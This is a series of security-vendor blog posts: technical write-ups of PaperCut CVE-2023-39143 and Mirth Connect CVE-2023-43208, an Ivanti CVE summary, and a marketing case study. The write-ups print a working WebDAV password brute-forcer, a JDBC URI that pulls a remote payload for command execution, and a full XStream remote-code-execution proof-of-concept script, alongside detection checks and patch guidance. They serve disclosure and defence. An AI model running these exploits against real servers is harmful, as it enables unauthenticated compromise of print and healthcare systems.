Back in Aug. 2023 we released an advisory for CVE-2023-39143, a critical vulnerability that affects Windows installs of the PaperCut NG/MF print management software. Attackers can exploit this vulnerability to download and delete arbitrary files, and in certain common configurations upload files, leading to remote code execution. This vulnerability was patched in PaperCut version 22.1.3 in July 2023.

This post is a deep dive into the technical details behind this vulnerability. As you’ll see, this isn’t exactly the kind of vulnerability that will win any accolades at Pwn2Own, but it’s something that a patient determined attacker may choose to exploit in certain targeted scenarios. It’s an interesting case study of how a bunch of seemingly minor issues can be chained together to achieve total compromise.

Brute Forcing a Credential

We decided to research PaperCut last year after reports of widespread exploitation of CVE-2023-23750. A number of Horizon3 customers are in the state/local/education sector and are users of PaperCut.

PaperCut is a traditional Java web application. Looking through the web.xml, one of the interesting endpoints that stood out was a WebDAV endpoint:

This endpoint is guarded by the WebDavSecurityFilter class, which checks for basic authentication credentials for the papercut-webdav user. The password is a 6 digit code and can be brute forced. No rate-limiting is enforced on this endpoint.

In our local network it took about an hour to get through all million codes. An attacker’s speed of brute forcing will vary depending on the network, how many parallel threads are run, and how many PaperCut instances are being targeted at once.

import requests
import base64
requests.packages.urllib3.disable_warnings()
from concurrent.futures import ThreadPoolExecutor
import sys

url = 'https://10.0.229.11:9192/webdav/hi'

def try_passwords(min, max):
    for i in range(min, max):
        password = str(i).rjust(6, '0')
        auth_raw = 'papercut-webdav:' + password
        auth_header = 'Basic ' + base64.b64encode(auth_raw.encode()).decode()
        r = requests.post(url, headers = {'Authorization': auth_header}, verify=False)
        print(i, r.status_code)
        if (r.status_code != 403):
            # if successful, will return 501 Not implemented because POST is not supported
            print(f'Got password! {password}')
            sys.exit(0)

with ThreadPoolExecutor(max_workers=5) as executor:
    executor.submit(try_passwords, 0, 200000)
    executor.submit(try_passwords, 200000, 400000)
    executor.submit(try_passwords, 400000, 600000)
    executor.submit(try_passwords, 600000, 800000)
    executor.submit(try_passwords, 800000, 1000000)

Note that the WebDAV endpoint only operates over HTTPS, and in general everything in this post requires access to a PaperCut server over HTTPS.

The WebDAV Attack Surface: Path Traversal in net.sf.webdav Package

Getting access to the WebDAV interface opens up an interesting attack surface. The code in WebDavSecurityFilter disallows GET requests, but other HTTP methods such as MOVE, COPY, DELETE, and PUT are allowed.

PaperCut’s WebDavServlet class extends net.sf.webdav.WebdavServlet in the third party net.sf.webdav package. We found a Windows-specific path traversal vulnerability in this package where paths are sanitized for forward slashes but not backslashes.

This is a very old third party package and it doesn’t appear to have a maintainer. We traced shared code in this package back to Apache Tomcat, but this is not exploitable in Tomcat because Tomcat prohibits backslashes in paths. PaperCut uses Jetty, which is happy to pass the backslashes through.

Listing Arbitrary Directories

With the path traversal, it’s possible to list the contents of arbitrary directories on the host using the WebDAV PROPFIND method. Here’s an example of listing files and directories under C:\Users.

Deleting Arbitrary Files

It’s possible to use the path traversal to delete arbitrary files and folders on the file system. Here’s an example of deleting the C:\test folder.

Using a Second Path Traversal Issue to Download Arbitrary Files

As mentioned above, the WebDavSecurityFilter class guards against GET requests hitting the WebDavServlet. However, we found a second Windows-specific path traversal issue in the CustomReportExample servlet that allows retrieval of image files at arbitrary paths on the file system.

We found that we could use the first path traversal issue in the net.sf.webdav package to COPY arbitrary files into the PaperCut webdav folder with a png extension, and then use the second path traversal issue in CustomReportExampleServlet to retrieve those files.

Here’s an example of retrieving PaperCut’s server.properties file, which contains the admin user’s password hash.

Combined with the ability to list arbitrary directories using PROPFIND, this means an attacker can exfiltrate anything on disk. For instance, PaperCut uses Derby by default as a database, and these Derby database files can be retrieved. An attacker can then use tools like ij to execute SQL to access any data in the database.

Uploading Arbitrary Files

The WebDavServlet class supports uploading files via the HTTP PUT method, and this is also vulnerable to path traversal, but there’s a catch. The path to the PUT must start with a valid scan job id, i.e. it must look something like https://<server>:<port>/webdav/<scan job id>/..\..\..\<filename>. This interface is meant for printers to upload files for scan jobs to PaperCut.

To exploit this endpoint then, an attacker must be able to generate a valid scan job id. This requires a configuration of PaperCut where external device integration is turned on. This is the default for PaperCut MF and certain flavors of PaperCut NG. From our testing in client environments, the vast majority of PaperCut users have this setting turned on.

Assuming this external device integration setting is turned on, there are two scenarios where an attacker can generate a scan job id:

1. The site server API is accessible (the default), and PaperCut is configured to use a secondary site server (somewhat uncommon)
2. The external device XMLRPC API is accessible (the default and a common scenario)

We’ll look at each of these scenarios.

File Upload Using a Site Server

PaperCut’s main application server exposes an API for secondary servers (site servers) to carry out actions on behalf of users that connect to the site server. One of these APIs allows site servers to create scan jobs.

Requests to the site server API are authenticated using a site server UUID. This is something an attacker can acquire by exploiting the arbitrary file download vulnerability described earlier.

An attacker can pretend to be a site server and submit scan jobs using the site server API. To create a scan job, an attacker would send a scan job request to the /rpc/api/rest/master/scan-job/createJob/<site server UUID> endpoint with a scan job request JSON payload that looks something like this.

{
    "username": [
        "jsmith"
    ],
    "locale": [
        "rO0ABXNyABBqYXZhLnV0aWwuTG9jYWxlfvgRYJww+ewDAAZJAAhoYXNoY29kZUwAB2NvdW50cnl0ABJMamF2YS9sYW5nL1N0cmluZztMAApleHRlbnNpb25zcQB+AAFMAAhsYW5ndWFnZXEAfgABTAAGc2NyaXB0cQB+AAFMAAd2YXJpYW50cQB+AAF4cP////90AAJVU3QAAHQAAmVucQB+AARxAH4ABHg="
    ],
    "userParams": [],
    "jobSettings": [
        "rO0ABXNyADNiaXoucGFwZXJjdXQucGNuZy5kb21haW4uc2Nhbi5TY2FuU2V0dGluZ3NGYWN0b3J5JDSVL6JDv6zlygIAAUwAD3ZhbCRzZXR0aW5nc01hcHQAD0xqYXZhL3V0aWwvTWFwO3hyAC1jb20ucGFwZXJjdXQuc2VydmVyLmxhbmcuc2Nhbi5TY2FuSm9iU2V0dGluZ3OtAwAAtdjyIwIAAHhwc3IANWNvbS5nb29nbGUuY29tbW9uLmNvbGxlY3QuSW1tdXRhYmxlTWFwJFNlcmlhbGl6ZWRGb3JtAAAAAAAAAAACAAJbAARrZXlzdAATW0xqYXZhL2xhbmcvT2JqZWN0O1sABnZhbHVlc3EAfgAFeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdXEAfgAHAAAAAA=="
    ],
    "accountName": [
        "jsmith"
    ],
    "deviceId": [
        "43422"
    ],
    "scanActionId": [
        "1001"
    ]
}

In the above payload, the username and accountNames are any user in the system, the deviceId doesn’t matter, and the scanActionId is set to first default scan action id of 1001.

The return value from this API call is a scan job id. This can be then used against the WebDAV API using the PUT method to place a file anywhere on the file system.

File Upload Using an Existing Device or Registering a Device

If PaperCut has been configured with a device that supports integrated scanning, and integrated scanning has also been enabled for that device, it’s possible to create a scan job for that device using the external device XMLRPC API hosted at /rpc/extdevice/xmlrpc.

The XMLRPC API is meant to be used by external devices. The API requires authentication, and there is a unique username and password per device type. The username hashes and password hashes for these devices are stored in the source code. We were able to discover valid cleartext credentials for the API in the PaperCut install itself. We were then able to authenticate to the API and start a session using the beginSession API (we are not disclosing the hardcoded credentials here).

>>> import xmlrpc.client
>>> import ssl
>>> c = xmlrpc.client.ServerProxy('https://10.0.229.11:9192/rpc/extdevice/xmlrpc', context=ssl._create_unverified_context())
>>> c.api.beginSession('REDACTED', 'REDACTED', '1.5')
'dAZ8R'

From there, the integratedScanJobStarted API can be used to create a scan job id, using a valid device id and username.

Then a file can be placed anywhere on disk using the WebDAV PUT method:

If no device exists ahead of time, an attacker can simply use the XMLRPC API to self-register a device that supports scanning, then turn on integrated scanning for the device, and then generate a scan job id.

Remote Code Execution

There are a few paths to remote code execution, especially if file upload is possible. Perhaps the easiest method for RCE is to leverage another vulnerability reported to ZDI by an Anonymous user as ZDI-CAN-21013. This vulnerability was fixed in the same patch release that CVE-2023-39143 was fixed. This vulnerability is related to an out-of-date Postgres driver vulnerable to CVE-2022-21724.

To exploit this, an attacker would first need to acquire the admin password. This can be accomplished in one of two ways:

• Cracking the admin password hash retrieved from the server.properties file by exploiting the arbitrary file download aspect of CVE-2023-39143
• If file upload is possible: Reset the admin password by uploading a new server.properties file containing a new admin password. PaperCut dynamically reads this file every time an admin tries to log in.

For instance to reset the admin password to admin12345:

Once logged in as admin, the Postgres driver can be exploited by setting up a crafted JDBC URI in the External User Lookup section of the Advanced config:

For instance setting the value to jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://10.0.225.200:900/exp.xml will cause the PaperCut server to connect back to the IP address 10.0.225.200 to download an XML payload containing an OS command to execute (in this case a ping command):

The execution of the OS command can be triggered by simply searching for a user in the Users UI, following PaperCut’s instructions here.

Detection

The following command checks if a PaperCut server is not patched for CVE-2023-39143 and is running on Windows.

curl -w "%{http_code}" -k --path-as-is "https://<IP>:<port>/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png"

A 200 response indicates the server has not been patched and is running on Windows. A 404 response indicates the server has been patched or not running on Windows.

The following checks if the WebDAV endpoint is accessible, which is a requirement for exploiting CVE-2023-39143.

curl -w "%{http_code}" -X OPTIONS -k "https://<IP>:<port>/webdav/"

A 401 response code indicates the WebDAV interface is accessible.

From a network detection rules standpoint, any traffic going to the /webdav endpoint should be considered suspicious. The PaperCut server.log will show failed authentication attempts:

Conclusion

If you’re a user of PaperCut who is exposing it to the Internet and still haven’t yet updated to 22.1.3+, we highly recommend you update to the latest. If upgrading is not immediately possible, it is possible to mitigate this vulnerability by configuring an allowlist of device IP addresses that are permitted to communicate with the PaperCut server. Refer to the “IP Address Allow-listing” section of the PaperCut security best practices guide.

CVE-2023-39143 is made possible by a series of seemingly minor issues:

• Weak authentication to the WebDAV endpoint
• Lack of rate limiting of authentication attempts to the WebDAV endpoint
• Not limiting HTTP methods invoked over WebDAV
• Path traversal in the third party net.sf.webdav package
• Path traversal in the CustomReportExample servlet
• Using UUIDs to authenticate a site server to a PaperCut server
• Hardcoded credentials to access the External Device XMLRPC API

In the July 2023 patch release, PaperCut addressed most of these issues. The WebDAV endpoint requires a strong password that can’t be brute forced, and rate limiting is enforced. There are restrictions on the WebDAV methods that can be called. The path traversal issue in the CustomReportExample servlet is fixed, and there’s logic in place to prevent malicious paths from making to to the net.sf.webdav package.

From our experience, third party packages continue to be a major blind spot for application security, and it’s not just about the known vulnerabilities. It’s the latent attack surface represented by all the undiscovered vulnerabilities out there in libraries that developers rarely look at and appsec tools are rarely configured to inspect.

References

The post Writeup for CVE-2023-39143: PaperCut WebDAV Vulnerability appeared first on Horizon3.ai.

Introduction

In Oct. 2023, we released an advisory for CVE-2023-43208, a pre-authenticated remote code execution vulnerability affecting NextGen Mirth Connect. Mirth Connect is an open source data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java XStream library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations.

Reversing a Prior Vulnerability: CVE-2023-37679

CVE-2023-43208 arises from an incomplete patch for CVE-2023-37679, also a pre-auth RCE, reported by IHTeam. CVE-2023-37679 was reportedly patched in Mirth Connect 4.4.0, which was released on Aug 2, 2023. In the release notes for 4.4.0, we found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8.

Looking through the commit history, it was apparent that the patch for CVE-2023-37679 involved setting up an XStream denylist in an XStreamSerializer class to prevent the marshalling of certain unsafe data types that could be used for remote code execution.

XStream has a long history of CVEs associated with it, and the denylist approach is notoriously difficult to secure. We were convinced the vulnerability was not patched and decided to probe deeper.

Tracing the code, the XStreamSerializer is invoked through the XmlMessageBodyReader class, a type of interceptor that converts XML payloads into objects prior to the passing of those objects into Java servlet methods for HTTP request processing.

Mirth servlets in general extend the MirthServlet base class, which handles checking authentication in the initLogin method. This authentication check happens prior to the unmarshalling of any XML payloads by XmlMessageBodyReader.

However, for a few servlets, authentication is not checked in the MirthServlet base class and is instead handled in the servlet itself. In particular, the ConfigurationServlet, SystemServlet, and UserServlet all extend the MirthServlet base class but set the initLogin property to false. This opens up the possibility for a few API calls where XML payloads are unmarshalled by the XMLMessageBodyReader class prior to the authentication check in the servlet.

To reproduce CVE-2023-37679, we started up an old version of Mirth Connect, 4.1.1, from Docker Hub and sent a well-known XStream RCE payload to the POST /users endpoint using the Swagger UI. This payload was disclosed by @pwntester back in 2013 and also used relatively recently by @SinSinology and @steventseeley recently to exploit VMware NSX Manager.

And it worked, against a version of Mirth running Java 11.0.16.

We then repeated this against other versions of Mirth Connect. Curiously we found the same exploit payload failed against older Mirth versions, also running with Java 11, and we also found the payload didn’t work against Mirth 4.3, which was running Java 17.

Creating a General Exploit for CVE-2023-37679

Debugging the failure of the exploit payload against different Mirth versions, we found two problems:

Older versions of Mirth use older versions of the XStream library, and some of these versions refuse to unmarshall the java.beans.EventHandler class. For instance, testing against XStream 1.4.7 and Java 11, we get the following error:

And the payload fails with Java 17+ because private fields in the java.beans.EventHandler class are not accessible. Java 9 introduced the concept of “modules” to better encapsulate Java libraries, and starting with Java 17, the JRE explicitly forbids access to private members of modularized libraries unless the developer explicitly allows access by setting the --add-opens flag. This can break XStream unmarshalling because XStream relies heavily on reflection to work.

To bypass both limitations, we decided to look for an alternative InvocationHandler class similar to java.beans.EventHandler but in a non-modularized third-party library. Any libraries that aren’t modularized fall into a catch-all UNNAMED module, and code within the UNNAMED module is free to use reflection to access the private members of other code within the UNNAMED module.

We found such a class within the apache.commons.lang3 library: org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler:

We modified the payload accordingly, and it worked, as shown below against Mirth Connect 4.3 running Java 17.

Bypassing the Patch for CVE-2023-37679

We now had a generic exploit for CVE-2023-37679 that worked reliably against versions of Mirth Connect <= 4.3.0, regardless of the Java version. The only remaining task was to bypass the patch for CVE-2023-37679 in Mirth Connect 4.4. The patch, as shown above, adds a denylist to prevent certain dangerous classes from being unmarshalled. We needed to find an alternative to the ProcessBuilder class to execute a system command.

The denylist in the patch was based on the denylist in the XStream security documentation for older XStream versions. XStream cautions however that it does not account for classes in third party libraries:

"All those scenarios were based on types that are delivered with the Java runtime at some version. Looking at other well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, you will have to assume other scenarios for exploits as well. A class like InvokerTransformer of Apache Commons Collections has a high potential for attacks. By default XStream 1.4.18 works now with a whitelist. If you modify the default setup, it is also your responsibility to protect your clients from such vulnerabilities."

As it turns out, InvokerTransformer is the route we went as an alternative for the ProcessBuilder class. We came up with a new payload shown below:

And this worked against Mirth Connect 4.4 running Java 17:

POC Script

Putting it altogether, here’s a proof-of-concept for exploiting this vulnerability:

import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD = """<sorted-set>
  <string>abcd</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <org.apache.commons.collections4.functors.ConstantTransformer>
            <iConstant class="java-class">java.lang.Runtime</iConstant>
          </org.apache.commons.collections4.functors.ConstantTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>getMethod</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
              <java-class>[Ljava.lang.Class;</java-class>
            </iParamTypes>
            <iArgs>
              <string>getRuntime</string>
              <java-class-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>invoke</iMethodName>
            <iParamTypes>
              <java-class>java.lang.Object</java-class>
              <java-class>[Ljava.lang.Object;</java-class>
            </iParamTypes>
            <iArgs>
              <null/>
              <object-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>exec</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
            </iParamTypes>
            <iArgs>
              <string><<COMMAND>></string>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
        </iTransformers>
      </target>
      <methodName>transform</methodName>
      <eventTypes>
        <string>compareTo</string>
      </eventTypes>
    </handler>
  </dynamic-proxy>
</sorted-set>
"""

def _escape_xml(str_xml):
    str_xml = str_xml.replace('&', '&amp;')
    str_xml = str_xml.replace('<', '&lt;')
    str_xml = str_xml.replace('>', '&gt;')
    str_xml = str_xml.replace('"', '&quot;')
    str_xml = str_xml.replace("'", '&apos;')
    return str_xml

def main():
    parser = ArgumentParser()
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='OS command to run')
    args = parser.parse_args()
    command = _escape_xml(args.command)
    url = args.url.rstrip('/')
    payload = PAYLOAD.replace('<<COMMAND>>', command)
    print(f'Sending payload:\n{payload}')
    r = requests.post(f'{url}/api/users',
                  headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
                  data=payload,
                  verify=False,
                  timeout=15)
    print(f'Payload sent. Received status code: {r.status_code}')


if __name__ == '__main__':
    main()

Patch for CVE-2023-43208

Mirth Connect 4.4.1 patches CVE-2023-43208 by getting rid of the XStream denylist altogether and moving to an explicit allowlist of safe classes.

Detection

To check if your Mirth Connect instance is vulnerable:

% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0

Any server reporting a version less than 4.4.1 is highly likely to be exploitable.

If you’re writing detection rules for this exploit, the following points may be of interest to you:

• There are many other endpoints outside of POST /users that accept and unmarshal XML payloads.
• There are other exploit payloads that will work. For instance, afterwards, we found afterwards that the off-the-shelf CommonsCollection6 gadget posted by @chudyPB here also works with some minor edits. Depending on the XStream version installed with Mirth Connect, other payloads are possible.

Impact

CVE-2023-43208/CVE-2023-37679 is an easily exploitable, unauthenticated remote code execution vulnerability, and we urge all users of Mirth Connect to patch to at least version 4.4.1. At the time of our advisory in October, there were ~1300 Internet-facing installs of Mirth Connect. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data. On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user.

Here’s a real-world attack path showing NodeZero exploiting this vulnerability on a Windows system, installing a remote access tool (RAT) through this exploit, and then dumping credentials to get access as a privileged Windows domain user:

References

• Mirth Connect 4.4.1 Release Notes
• Horizon3 Advisory for CVE-2023-43208
• IHTeam Advisory for CVE-2023-37679

The post Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE appeared first on Horizon3.ai.

What is this all about?

Two recent Ivanti CVEs are being actively exploited by suspected nation-state threat actors. The CVEs are as follows:

1. CVE-2024-21887: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance. [9.1 Critical]
2. CVE-2023-46805: An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks. This vulnerability can be leveraged in conjunction with CVE-2024-21887, a command injection vulnerability. [8.2 High]

According to the CISA KEV Catalog, Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure contain a command injection vulnerability in the web components of these products, which can allow an authenticated administrator to send crafted requests to execute code on affected appliances. Both vulnerabilities are being exploited in the wild.

Why does this matter?

In both cases, remote unauthenticated attackers can bypass authentication and execute remote operating system commands to compromise the Connect Secure host.

How do you fix it?

Patches from Ivanti for both issues are expected to be available between January 19 and January 22, 2024. Ivanti shared this workaround while patches are in development.

How to verify you’re not at risk of exploitation?

As of January 17, 2024, Horizon3.ai announced new attack content for both CVEs as part of the latest NodeZero release, which now attempts to exploit these flaws. Running a NodeZero pentest will verify if you are exploitable, and once remediated, you can prove that you are no longer at risk of exploitation. If you’re not a customer, you can start your free trial here.

What You’ll See When Running NodeZero if You’re At Risk of Exploitation

Example impacts:

Proof of exploitation:

Example attack path:

(Note: this CVE can be directly exploited in ~60 seconds by an attacker and doesn’t require chaining.)

Additional Details

The Ivanti Connect Secure VPN faced a significant security threat due to two zero-day vulnerabilities identified as CVE-2023-46805 and CVE-2024-21887. Ivanti is preparing a security update to address these vulnerabilities in all supported versions (9.x and 22.x) of Connect Secure and Policy Secure gateways.

The first vulnerability, CVE-2024-21887, is a command injection vulnerability. This particular vulnerability would enable a cyber threat actor to inject and execute arbitrary commands on the system. The second vulnerability, CVE-2023-46805, is an authentication bypass vulnerability. This flaw could potentially allow a cyber threat actor to bypass the standard authentication processes of the system. These vulnerabilities posed a significant risk as they could be exploited to take control of an affected system.

According to Ivanti, “Upon learning of the vulnerability, we immediately mobilized resources and mitigation is available now. Patches will be released in a staggered schedule with the first version targeted to be available to customers the week of 22 January and the final version targeted to be available the week of 19 February.” Also, Ivanti does share a workaround while patches are in development.

Additionally, the Cybersecurity & Infrastructure Security Agency (CISA) emphasized the importance of immediate action, urging users and administrators to review Ivanti’s Knowledge Base article and security update. CISA also included these vulnerabilities in their Known Exploited Vulnerabilities (KEV) Catalog, highlighting the active exploitation and the need for rapid remediation to protect networks against these active threats.

Volexity has identified widespread exploitation of chained vulnerabilities CVE-2024-21887 and CVE-2023-46805. This exploitation has affected thousands of machines and may have infected many more. Volexity’s scan methodology would not have worked against organizations that have already deployed the Ivanti mitigation or had otherwise been taken offline. As a result, Volexity suspects there may likely be a higher number of compromised organizations than identified through scanning (which totaled more than 1,700).

In summary, the Ivanti Connect Secure VPN vulnerabilities represented a critical security risk, with potential for unauthorized access and control over affected systems. Immediate action and ongoing vigilance are essential for mitigating these threats.

For more detailed information and updates, you can refer to the following:

CISA website: https://www.cisa.gov/news-events/alerts/2024/01/10/ivanti-releases-security-update-connect-secure-and-policy-secure-gateways

Volexity’s analysis: https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/

The post Understanding the Actively-Exploited Ivanti CVE’s appeared first on Horizon3.ai.

How a Prevailing Transportation Company Modernized Security with NodeZero

Cyber protection is crucial for the transportation industry and the supply chain because it ensures the seamless flow of goods, prevents disruptions, and preserves the integrity of critical data essential for global commerce. Horizon3.ai recently interviewed one of our transportation and logistics customers that is deeply rooted in the fabric of American commerce. As a major player in the national supply chain arena, the customer continues to forge an excellent reputation through their innovative supply chain solutions and commitment to environmentally conscious trucking practices. Embracing innovative technology, they continue to optimize their logistics operations and ensure the seamless movement of goods while reducing their carbon footprint.

In tandem with their commitment to sustainable logistics, they also remain vigilant in safeguarding their cyber operations against evolving threats. Implementing robust cybersecurity protocols and investing in state-of-the-art technologies that help find threats, fix weaknesses, and verify fixes before they are an issue is paramount. This also allows them to fortify their digital infrastructure to protect sensitive data and ensure uninterrupted operations. By prioritizing cybersecurity measures, the customer not only secures their own network but also upholds the trust and confidence of their clients, reinforcing their position as a reliable and forward-thinking leader in the transportation and logistics landscape.

Mission:

Addressing their customers’ transportation requirements and needs by offering transportation services around the world.

• Year Founded: Mid 1900’s
• Number of Employees: 6,500
• Operational Reach: Global

Too Many Alerts, Not Enough Action

Vulnerability scanners are very good at pointing to and explaining what a vulnerability is, but often lack actionable insights. This leads to an abundance of alerts while also potentially overwhelming teams and impeding effective response. Our transportation client discovered just that. Their existing vulnerability scanning and management tools were insufficient and highly time-consuming, leading to their security teams not knowing which issues were a priority and needed fixed immediately.

The tools created a lot of noise and led to alert fatigue, explained Henry, one of their Cybersecurity Analysts. The scan results mostly pointed to proof of concept (POC) vulnerabilities that “weren’t even
things that could be actively exploited,” he explains. These tools often operate by scanning the client’s setup, cross-referencing it with a list of vulnerabilities, and highlighting disparities. However, this approach lacked the essential depth and sophistication (or proof) essential to know what to fix first, requiring their team to spend time researching each vulnerability and how it relates to their environment.

Moreover, it failed to enable them to see and tackle the most critical issues foremost. Henry stresses that beyond identifying vulnerabilities, “understanding what elements in our environment
that are exploitable and having evidence of how these vulnerabilities were exploited [proof] is crucial.” This information is key in effectively prioritizing issues and important in determining which ones to address first.

“I keep going back to the actionable proof, because that has really been the value for us.”

Vulnerability scanners often offer valuable information but fall short of actionable items for security teams to prioritize and fix. They are great at listing which vulnerabilities exist within your environment, but lack the clarity, explanations, and proof required for action. “It was hard trying to communicate that to our team,” Henry adds, saying that “despite the need to take immediate action, our lack of a clear and actionable plan from our vulnerability scanner left us uncertain about how to prioritize the identified issues and which items needed addressed first.”

Happy Cybersecurity, Means Happy Vendors and Clients

Being a leader in the transportation and supply chain industry, protecting sensitive customer information, proprietary logistics and inventory details, financial transactions, route plans, shipment schedules, and operational and communication data is extremely important in maintaining the efficiency and security of the entire supply chain network. Vendors and customers want to know that their sensitive information is safe from cyber criminals and possible cyber-attacks, and that the company has their back. They want to know that the company has their best interests at heart and takes cyber threats seriously by using a proactive approach and maintaining cyber resilience.

How does a company do this? One of the most effective ways to ensure an organization’s digital infrastructure is protected and resilient against cyber threats is by implementing an autonomous pentesting solution across their entire environment. Doing this involves integrating tools or platforms that constantly conduct regular and ongoing security assessments, while also falling in line with regulatory compliance standards. Our client understands the need to shift from their current scan and patch (traditional vulnerability scanning tools) mindset and move to autonomous security solutions that Find, Fix, and Verify remediations/mitigations immediately and continuously.

Additional to building a cyber resilient digital realm, Henry states that easy and direct access to the precise proof of exploitation is instrumental and allows for immediate sharing with peers and vendors. “Having that proof comes in really handy when sharing with our vendors to say hey, this wasn’t detected [by their software] and is there anything we can do to modify our Indicators of Compromise (IOC) or our Indicators of Attack (IOA) so we can detect this activity in the future?” he adds. Having direct access to this information allows a client running a continuous pentesting solution the ability to find holes in their current security tools and enables them to contact their third-party vendors to fix gaps and harden security.

Enter NodeZero™

Our client wanted to get away from basic vulnerability scanners and adopt something that emulated attacks across their environment. After doing open-source research, Henry and his team ran across NodeZero on LinkedIn™ and started watching Horizon3.ai videos on YouTube™.

What impressed him the most was that our

“CEO was very active, and he knew the product very well, which really stood out.”

So, they booked a demo.

Henry mentions that some of our competitors were reluctant to schedule a Proof of Value (POV), and that our onboarding/POV process was transparent, which was the main driving factor for going with Horizon3.ai. Furthermore, initial real-world impressions highlighted that the NodeZero interface was sleek and easy to use, especially when compared to traditional manual pentest and vulnerability scanning tools. Running a pentest was “quick and there are multiple methods for the reporting, which is really valuable to us” he mentions.

Not just for the Vulnerabilities

Henry says that NodeZero has “everything, from the reporting to the one click verify, being able to quickly identify if we remediated this or not [vulnerabilities],” adding that, “those things really help outshine some of the other competitors.” NodeZero allows customers to see a prioritized list of vulnerabilities, proof of exploitation (if available), and highlights notable events to enable customers to fix what matters first, and to verify those fixes.

NodeZero also provided detailed attack paths that enable customers to walk through how an attack could be carried out through the Eyes of an Attacker, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment. He says that everything NodeZero provides is “really, really helpful, and showing the top weaknesses in our environment with proof of exploitation so that me and my team could manually run the commands was really impressive.”
Furthermore, “the fix actions report is super helpful because I was able to attach it to a ticket and send it off” saving Henry valuable time from calling multiple people and walking them through how to do fix the issue and remediate the vulnerability. NodeZero reports not only give the customer step-by-step instructions, but also provides multiple options to fix the same problem. “Being able to mitigate this in multiple ways really cuts down on me having to do research on the back end,”
he adds.

Filling the gaps, Hardening policies

After the first few pentests, Henry mentions that the results weren’t too shocking, especially when NodeZero found multiple weak credentials, as they had just done a pentest from another vendor a few weeks prior. However, after the third week of using NodeZero, it was able to escalate its privileges to become domain admin, effectively taking over the domain because a temporary account was created with default credentials. He was surprised by how quickly NodeZero was able to “shed light on the issue and provide immediate remediation instructions.”

Additionally, this issue prompted his team to not only quickly remediate but help fine tune their parent company’s current Identity and Access Management (IAM) policies and guidelines, in addition to their own. Although the temporary account was created by a systems admin, NodeZero finding the vulnerability allows for visibility and mitigation to ensure compliance with System and Organization Controls (SOC) and future audits. He also mentions that “they [him and his team] got to actually see domain admin compromise and what that would look like, as well as what sort of things [downstream impacts] would be pivoted into from obtaining those escalated privileges, which was very interesting.”

This example illustrates that, even if a company thinks they are complying and adhering to their current policies, there can still be gaps and credentials that get through the cracks. Henry emphasized that they thought they were doing a good job by following established IAM guidelines and policies. However, when NodeZero was introduced into their environment, they quickly discovered “that’s not necessarily true and some things like service accounts and similar had slipped through the cracks.” Furthermore, he goes on to say that these types of IT department and admin level accounts “were not subject to quarterly password resets, so NodeZero helped us figure out those accounts, keeping us in the know.”

Reducing Cost, Increasing Business Operations

As many of our customers have highlighted after switching over to NodeZero from traditional annual and/or manual pentesting is the significant reduction in per pentest cost. As Henry describes, “we are well below the cost of just a single annual pentest and are getting way more pentests per year, which is somewhere near 90% cost effectiveness and that NodeZero has more than paid for itself already.” He goes on to say that “only a few things from our previous annual pentest were solved because the report wasn’t good [lacked effective fix actions] or not many people were tracking it, so there just wasn’t a lot of helpful information.”

As a result, NodeZero has helped Henry and his team accelerate, justify, and steer their company into additional cyber operations that they otherwise wouldn’t have been able to do with a once-a-year annual pentest. “This not only helps us reduce risk, but has also helped us make better investment decisions,” he mentions.

Even if you’re not going with NodeZero, I would highly recommend that you do.

NodeZero revolutionizes the landscape for organizations seeking an autonomous pentesting solution, empowering a proactive and preemptive strategy to illuminate how an attacker sees your environment and reinforce resilience against cyber threats. Henry says that “even if you weren’t going with NodeZero, you need to get some kind of attack emulation exercise going, because we didn’t realize that we needed that until we had it.”

Subsequently, Henry and his team realized how valuable it is to see things from an attacker’s perspective, as well as gaining a lot more perspective into their defensive and offensive posture. “We like seeing how NodeZero moved like an attacker through our environment, as well as the narrative and context that it provided, allowing us to actually determine what is more likely to happen, and more likely not to happen,” says Henry.

